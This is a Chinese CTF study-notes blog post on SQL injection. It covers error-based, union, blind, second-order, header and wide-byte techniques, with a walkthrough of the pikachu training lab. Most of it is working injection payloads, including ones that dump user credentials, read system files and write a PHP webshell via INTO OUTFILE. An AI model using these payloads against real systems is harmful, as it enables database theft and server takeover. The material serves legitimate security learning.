CTF学习笔记——SQL注入

SQL注入

sql注入的分类

1)可回显的注入

可以联合查询的注入
报错注入
通过注入进行DNS请求,从而达到可回显的目的

2)不可回显的注入

bool盲注
时间盲注

3)二次注入

通常作为一种业务逻辑较为复杂的题目出现,一般需要自己编写脚本以实现自动化注入。SQL注人在CTF 比赛中十分常见,涉及各种数据库。一般的CTF比赛中,出题人都会变相地增加一层WAF(比如,对关键字进行过滤等),然后只留下一个思路的解题路径,这时候我们需要快速找到并绕过这个点,然后得到flag。

可联合查询的注入

这种一般会回显查询结果,闭合单引号,union自己的查询语句再注释后面的就行。一般需要绕过一些特定单词(空格,select,and,or等)

报错注入

1)updatexml

本质上就是函数报错

如下payload:

image-20220819161558290

updatexml(XML_document,XPath_string,new_value);
  • XML_document:String格式,为XML_documentString格式,为XML文档对象的名称;

  • DocXPath_string:Xpath格式的字符串;

  • new_value:String格式,替换查找到的符合条件的数据文档对象的名称;

报错注入原理:concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户

0x7eASCII码,实为,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符

常见报错注入语句

查询到数据库版本
and (updatexml(1,concat(0x7e,(select version()),0x7e),1))

查询当前数据库
and (updatexml(1,concat(0x7e,(select database()),0x7e),1))

获取当前数据库表名结构
and (updatexml(1,concat(0x7e,(select(select group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e),1))

查询该表的字段
and (updatexml(1,concat(0x7e,(select(select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')),0x7e),1))

查询字段中的内容
and (updatexml(1,concat(0x7e,(select(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)),0x7e),1))
2)floor

简单来说,floor报错的原理是rand和 order by 或 group by 的冲突。group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

具体原理可以参考https://www.secpulse.com/archives/140616.html或者(52条消息) floor报错注入原理解析_migi@forever的博客-CSDN博客_floor报错

爆库
id=1' and (select 1 from (select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23

爆表明
id=1' and (select 1 from (select count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23
爆字段
id=1' and (select 1 from (select count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23
爆内容
id=1' and (select 1 from (select count(*),concat(0x7e,(select concat_ws(':',username,password) from users limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23

3)exp

exp()报错的本质是溢出报错,exp是以e为底的指数函数,但是,数字太大会产生溢出。exp函数会在参数大于709时溢出,报错。

通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

mysql> select * from users where id=1 and exp(~(select * from (select database())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `a`.`database()` from (select database() AS `database()`) `a`)))'

在脚本语言中,就会将错误中的一些表达式转化成相应的字符串。从而实现了报错注入。

4)其他

关于报错注入的更多知识参见:SQL注入-报错注入_Qwzf的博客-CSDN博客

Bool盲注

当开发者将报错信息屏蔽的时候,我们就无法进行报错注入。但是真和假有不同的回显,比如为真时返回access,为假时返回 false;或者为真时返回正常页面,为假时跳转到错误页面等。

布尔盲注的原理是用and或者or拼接返回布尔值的语句,语句结果为真时页面显示一种结果,语句结果为假时页面显示另一种结果,从而判断语句结果是否为真,并据此爆破相关信息。费时费力,一般使用工具或者写脚本来破解。

基于boolean的盲注主要表现:
1.没有报错信息
2.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
3.在正确的输入下,输入and 1=1/and 1= 2发现可以判断

流程

1、判断注入:
id=1'and 1=2#。如果显示异常,那么就说明and后面的内容被成功执行,因此可能存在bool类型的SQL注入。

2、爆库样例演示:

id=1'and length(database())>10# --库长

id=1'and ascii(mid(database(),1,1))>115#–库名

3、爆表样例演示:

id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

4、爆字段样例演示:

id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#

5、爆数据样例演示:

id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#

常用函数

1)截取函数
image-20220825111120055

2)转换函数
image-20220825111143072

3)比较函数

image-20220825111202540

时间盲注

sleep()是SQL语句中用于休眠的函数,时间盲注中常用,sleep(x)可以让程序休眠x秒。

1、判断注入:

id=1'and sleep(10)#如果网页反应时间出现了明显延迟,就说明存在基于时间的SQL注入。

2、爆库样例演示:

id=1'and sleep(if(length(database())>10,10,1))>10#--库长

id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#–库名

3、爆表样例演示:

id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#

4、爆字段样例演示:

id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#

5、爆数据样例演示:

id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#

常用函数

1)延时函数

image-20220825111234390

二次注入

二次注入的起因是数据在第一次入库的时候进行了一些过滤及转义,当这条数据从数据库中取出来在SQL语句中进行拼接,而在这次拼接中没有进行过滤时,我们就能执行构造好的SQL语句了。
由于二次注入的业务逻辑较为复杂,在比赛中一般很难发现,所以出题人一般会将源码放出来,或者提示本题有二次注入。
在二次注入的题目中,一般不会是单纯的二次注入,通常还会与报错注人或Bool盲注结合出题。比如,在注册页面输人的用户名在登录后才有盲注的回显,这时候我们需要自己编写脚本模拟注册及登录。

limit之后的注入

研究发现,在MySQL 版本号大于5.0.0且小于5.6.6的时候,在如下位置中可以进行注入:SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT {injection_point}
也可以使用如下的Payload进行注入:
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand() ,concat ( Ox3a , version())),1);

注入点的位置和发现

1.常见的注入点位置
在CTF 中,我们遇到的不一定是注入点是表单中username字段的情况,有时候注入点会隐藏在不同的地方,下面我们就来介绍几个常见的注入点的位置。
(1 )GET参数中的注入
GET中的注入点一般最容易发现,因为我们可以在地址栏获得URL和参数等,可以用Sqlmap或者手工验证是否存在注入。
(2 ) POST中的注入
POST 中的注入点一般需要我们通过抓包操作来发现,如使用Burp或者浏览器插件Hackbar来发送POST包。同样,也可以使用Sqlmap或者手工验证。
(3 ) User-Agent中的注入
在希望发现User-Agent 中的注入时,笔者在这里推荐大家使用Burp的Repeater模块,或者Sqlmap。将Sqlmap的参数设置为level=3,这样 Sqlmap会自动检测User-Agent 中是否存在注
(4 )Cookies 中的注入
想要发现Cookies中的注入,笔者同样推荐大家使用Burp的Repeater模块。当然,在Sqlmap中,我们也可以设置参数为level=2,这样Sqlmap就会自动检测Cookies 中是否存在注入了。

2.判断注入点是否存在
接下来就要确定注人点的位置。在判断输入点是否存在注人时,可以先假设原程序执行的SQL语句

然后通过以下几种方法进行判断:(1)插入单引号
插人单引号是我们最常使用的检测方法,原理在于未闭合的单引号会引起SQL语句单引号未闭合的错误。
( 2)数字型判断
通过and 1=1(数字型)和闭合单引号测试语句’and ‘l’='1(字符串型)进行判断,这里采用Payload ‘1’='1的目的是为了闭合原语句后方的单引号。
(3)通过数字的加减进行判断
比如,我们在遇到的题目中抓到了链接http://example.com/?id=2,就可以进行如下的尝试http://example.com/?id=3-1,如果结果与 http://example.com/?id=2相同,则证明id这个输入点可能存在SQL注入漏洞。

绕过

参考(80条消息) sql注入绕过方法总结_huanghelouzi的博客-CSDN博客_sql绕过

SQL读写文件

有一些比赛题目存在SQL注入漏洞,但是flag并不在数据库中,这时候就需要考虑是否要读取文件或是写Shell来进一步进行渗透。

文件读写的基本条件
当前用户权限对该文件可读。
文件在该服务器上。
路径完整。
文件大小小于max_sllowed_packet。
当前数据库用户有FILE权限,File_priv为yes
secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作。
image-20220825112732166

练习:

pikachu SQL注入-数字型注入(post)

  1. 页面展示

image-20220821142856211

页面可以选择数字进行选择,返回数据,用户名和email。

  1. 我们仔细观察页面的url发现?id=xxx,并且我们手动输入也没有什么变化,由此猜测这个题为post请求而非get请求固无法使用url传参。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XsJjMX8i-1661398104748)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821143207160.png)]

  1. 我们使用burpsuite抓包发现果然是get请求。

image-20220821143252445

  1. 我们修改参数,进行sql注入。
首先回忆一下sql注入的基本流程:
1.判断是否存在注入
2.判断字段数
3.判断显错位
4.判断库名
5.判断表名
6.判断列名
7.寻找具体数据
这里很显然存在注入,咱们就直接从第二步开始

1)判断字段数

payload:id=3 order by 3&submit=%E6%9F%A5%E8%AF%A2
结果如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n4ORtTPP-1661398104749)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821143543641.png)]

然后order by 2的结果:

image-20220821143640088

由此我们判断字段数为2

2)判断显错位

其实这里很显然显错位两位都在,不过我们还是试一试
payload:id=3 union select 1,2&submit=%E6%9F%A5%E8%AF%A2
结果如下:

image-20220821143952527

结果显然的1,2是显错位

3)判断库名

payload:id=3 union select 1,database()&submit=%E6%9F%A5%E8%AF%A2

image-20220821144559237

结果就是,库名为pikachu

4)判断表名
payload:id=3 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2
结果如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xkAXb2c3-1661398104751)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821145637992.png)]

所以我们获得表名:httpinfo,member,message,users,xssblind

5)判断列名

由于我们可以判断数据应该在users表里,所以我们爆破users表的列有哪些。
payload:id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#&submit=%E6%9F%A5%E8%AF%A2
结果如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ztVnjzr4-1661398104754)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821145832237.png)]

6)得到数据

我们对username和password的列进行数据的爆破。
payload:id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2

结果如下:

image-20220821150054347

由此,这道题就完成了,一般的ctf题在这里就会有flag了。这道题的类型应该属于前面知识点中的可回显的注入中可以使用联合查询的注入。

  1. 进一步破解
    我看了网上的教程发现,这个关卡不止这么点,我们观察到这个密码的样式有点像md5,于是拿admin的密码去md5解密,在线解密网址:md5在线解密破解,md5解密加密 (cmd5.com)
    image-20220821155425079

得到的结果是admin的密码是123456,pikachu的密码是000000,test的密码是abc123。

  1. 读取文件
    payload:id=1 union select load_file('C:/Windows/win.ini'),1 from users#&submit=%E6%9F%A5%E8%AF%A2

  2. 写入后门
    payload:id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'D:\software\phpstudy_pro\WWW\pikachu-master\pikachu-master\1.php'#&submit=%E6%9F%A5%E8%AF%A2
    到这个时候就是写入了后门木马了,根据流程后面就可以用蚁剑连接,得到网站的控制权。这里由于我们是本地搭建的靶场所以直接打开文件目录看看有没有写入成功

pikachu SQL注入-字符型注入(get)

  1. 界面展示

    我们可以看到界面是一个输入框让我们输入用户名,根据道题的名字(get)我们可以知道这是get请求,于是可以在url直接传参。可以不用burpsuite了。
    image-20220821150358497

    我们先随便输入一个,可以得到一个后面有?name=xxx的url,同时显示您输入的username不存在。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gPXgHmnr-1661398104758)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821162145523.png)]

    1. 可回显的注入

    我们还是按照一般流程去注入。
    1)判断字段数
    payload:?name=fancy' order by 2%23&submit=%E6%9F%A5%E8%AF%A2

    payload中的%23就是#,由于在url中#有特殊含义所以要转义
    结果如下:

    image-20220821162431796

    我们得到字段数为2。
    2)判断显错位
    payload:?name=fancy%27%20union%20select%201,2%23&submit=查询

    这里注意由于这里是字符型注入所以和上一关的数字型的payload还是有差别的,有个`符号
    结果如下:

    image-20220821163336401
    3)判断数据库
    payload:?name=fancy%27%20union%20select%201,database()%23&submit=查询

    库名:pikachu

    4)判断表名
    payload:?name=fancy%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&submit=查询
    结果: httpinfo,member,message,users,xssblind
    5)判断类名

    payload:?name=fancy%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%23&submit=查询
    结果: USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level
    6)得到具体数据
    payload:?name=fancy' union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2
    结果:
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nMRfhGMB-1661398104759)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821164131105.png)]

    7)读取文件

    payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,load_file('C:/Windows/win.ini')%23&submit=%E6%9F%A5%E8%AF%A2
    8)写马payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,'<?php assert($_POST[2]); ?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/2.php'%23&submit=%E6%9F%A5%E8%AF%A2

    总而言之:这两道题只要注意get和post 的区别,以及payload构造的差别,其实流程和内容大差不差。

数字型注入和字符型注入的区别

数字型

当输入的参 x 为整型时,通常源代码中 Sql 语句类型大致如下:select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
Url 地址中输入 www.xxx.com/abc.php?id= x and 1=1,页面依旧运行正常,继续进行下一步。

Url 地址中继续输入 www.xxx.com/abc.php?id= x and 1=2,页面运行错误,则说明此 Sql 注入为数字型注入。

字符型

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下

select * from <表名> where id = ‘x’

这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

Url 地址中输入 www.xxx.com/abc.php?id= x’ and ‘1’='1

页面运行正常,继续进行下一步。

Url 地址中继续输入 www.xxx.com/abc.php?id= x’ and ‘1’='2

页面运行错误,则说明此 Sql 注入为字符型注入。

pikachu SQL注入-搜索型注入

搜索型注入相关的sql语句大概是个 select xxcolumns from xxtable where param like '%input%'的形式。本质还是字符型注入,只是闭合不一样。

  1. 界面展示
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FhbS2R5j-1661398104760)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821172926400-16610741682063.png)]
  2. 思路分析

既然是一个搜索型的,那我们首先要做的就是闭合这个搜索,然后加上咱们自己的查询语句构成payload。

1)我们先使用一个‘来测试这个是否是闭合
?name=ad'&submit=搜索

得到结果如下:
image-20220821173227512

我们再试试?name=ad%27%23&submit=搜索结果没有报错,说明是这个闭合方式

  1. 继续注入

剩下的思路就和前面一题差不多了,这里就省略啦。

pikachu SQL注入-xx型注入

本质还是字符型注入,只是闭合不是那么简单。因此这题的关键就在于找闭合

  1. 测试
    首先使用:payload:?name=fancy'&submit=%E6%9F%A5%E8%AF%A2得到结果如下:image-20220821174709295

由此判断闭合为**')**于是使用payload:?name=fancy')%23&submit=%E6%9F%A5%E8%AF%A2没有报错,说明是对的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-st27Mp4O-1661398104762)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821174941349.png)]

后面的套路也是一样一样的,这里省略。

pikachu SQL注入-insert注入(盲注)

insert型注入相关的sql语句大概是个 INSERT INTO 表名称 VALUES (值1, 值2,…)或者INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,…) 的形式。

update型注入相关的sql语句大概是个 UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值 的形式。

  1. 界面展示

image-20220821175225755

(1)insert注入
如果要有insert注入的话应该是在注册页面,插入数据。由于没有回显,所以是报错注入。于是我们进入注册页面。内容如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ATW1tKjw-1661398104763)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821175333523.png)]

首先我们抓个包,查看一下发现是post请求。参数如下:
image-20220821175840967

于是我们找一找闭合,在最后一个参数后面加’)如下图所示。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5eFVRFEo-1661398104764)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821180034295.png)]

我们发现果真是这个闭合,但是由于该页面没有回显,因此还不能像之前几道题那样操作。不过从上一步的操作可以看出来,注册的时候如果sql语句有问题是会报错的,所以我们使用报错注入。

1)爆库
payload:username=xixi' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IIA1aO5k-1661398104765)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220821191841343.png)]

2)爆表
payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
注意:这里之所以有两个payload是因为数据长度已经超过了updatexml函数的显示范围了(显示32个字符),需要在payload中加substr()函数来把剩下的字符显示出来。

3)爆列
payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

4)爆数据

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

pikachu SQL注入-update注入

update注入部分是对信息修改页面进行注入,我们可以先自己注册一个账号然后登录,登录完成后会有修改个人信息的按钮,我们点进去。界面如下:

image-20220821193025847

然后抓包发现这还是一个post请求,剩下的操作就和instert大差不差了。

pikachu SQL注入-delete注入

delete型注入相关的sql语句大概是个 DELETE FROM 表名称 WHERE 列名称 = 值 的形式。
界面展示:image-20220823215544163

既然是delete注入那我们先添加一个留言,再对删除操作进行抓包,发现有好几个GET请求包
image-20220823215514133

那我们应该能够想到要通过url去注入,这种get请求的注入方式我们之前也了解过了。并且,这里是没有直接回显的,那么我们就是用报错注入。

1)爆库
payload:?id=57 or updatexml(1,concat(0x7e,(select database()),0x7e),1)

image-20220823220449364

这里注意哈,我们要在网页的url上进行注入,而不能直接在burpsuite上这样做:

image-20220823220541955

这样做会导致以下报错

image-20220823220630393

2)剩下的内容就省略算了,payload和insert注入的一模一样

pikachu SQL注入-http头注入

界面展示:

这是最开始的界面:

image-20220823221439886

如果我们仔细观察会发现右上角有提示,会直接给出我们用户名和密码。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9EJ88TcA-1661398104771)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220823222530120.png)]

当我们输入该用户名和密码之后,就会变成这样:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uMQZz8zk-1661398104771)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220823221429553.png)]

这题挺有意思,网站没有管你的用户名和密码,而是拿到了你的user agent和http accept信息,以及你的host(id地址)。虽然也是post请求但是如果现在你使用post请求的方式去注入显然不太合适,毕竟题目说了是http头部注入。
我们首先抓包,发现有如下一些包:
image-20220823224359477

这时候是不是就有人拿post包如注入了?额,这里我试过了,不行,因为他好像是自动重定向到另外的页面,所以我们真正要处理的是下面那个GET请求包。

1)判断存在注入
我们首先对user agent动手脚,在User-Agent后面加个“ ‘ ”符号(这里是由于user-agent是一串字符串,我们有理由怀疑是用“ ’ ”符号来闭合的)。发现果然报错,那么说明这里可以注入。

image-20220823224848354

2)爆库

我们修改User-Agent: 1' or updatexml(1,concat(0x7e,database()),0) or '就可以得到:

image-20220823230008680

然后后面的操作就是常规的报错注入流程。

布尔盲注

布尔盲注的原理是用and或者or拼接返回布尔值的语句,语句结果为真时页面显示一种结果,语句结果为假时页面显示另一种结果,从而判断语句结果是否为真,并据此爆破相关信息。费时费力,一般使用工具或者写脚本来破解。

基于boolean的盲注主要表现:
1.没有报错信息
2.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
3.在正确的输入下,输入and 1=1/and 1= 2发现可以判断

1)判断存在注入
1.输入kobe’ and 1=1#,会得到

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cZtRSi8S-1661398104774)(C:\Users\SuZhe\Documents\MD文档\CTF特训营\image-20220824161929863.png)]

2.输入kobe’ and 1=2#,会得到

image-20220824161942380

由此发现,当条件正确和错误时,页面会显示不同的内容。于是我们的思路是在and后面连接条件语句来判断我们的条件语句是否正确来找到答案。

下面给出测试样例
kobe' and ascii(substr(database(),1,1))>113#

kobe' and ascii(substr((select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=database() limit 0,1),1,1))<112#

时间盲注

时间盲注使用的情况就是啥也看不到,你无法从显示的不同来判断你的语句是否执行。那咋办捏,利用sleep()

1)判断注入
我们首先输入kobe' and sleep(3)#可以明显的感觉到他延迟了很久再刷的一下跳出了文字,由此判断存在注入。

2)继续判断
我们是用诸如kobe' and if((substr(database(),1,1))='p',sleep(5),null)#这样的句子就可以判断我们的猜测对不对从而一步一步找到答案,不过极其耗时和玛麻烦。

宽字节注入

原理:

(1)宽字节注入使用条件是:PHP发送请求到MySql时使用了语句SET NAMES ‘gbk’ 或是set character_set_client =gbk 进行了一次编码

(2)宽字节注入的使用原因是:单引号、双引号等特殊字符被转义

(3)宽字节注入的原理是:当转义使用的\为ASCII编码,而客户端传入的参数被当成GBK等宽字节编码,则可以通过在\之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让mysql以为插入的字节和\是一个中文字符,从而吃掉\,摧毁转义。

我们首先使用burpsuite进行抓包,在数据区更改参数。首先我们填入kobe,因为这是已知存在的用户

image-20220825083055571

1)判断注入
我们输入以下内容name=kobe%df' union select 1,2#&submit=%E6%9F%A5%E8%AF%A2

image-20220825083125710

说明存注入,且回显位为1,2位。

2)爆库

name=kobe%df' union select database(),user() #&submit=%E6%9F%A5%E8%AF%A2

image-20220825083321985

后续的内容就不赘述了,依葫芦画瓢即可,记得避免‘符号

3)注意点

1.使用这样的语句是不行的union select 1,table_name from information_schema.tables where table_name='users'#。这是因为在后面用了’,addslashes()对’进行了转义,所以造成错误

2.在页面进行语句注入时也是会出现注入不成功的现象,这里是因为在传入request数据包时,对我们所输的数据进行了url编码,%df被转移成了%25df

  • 3
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值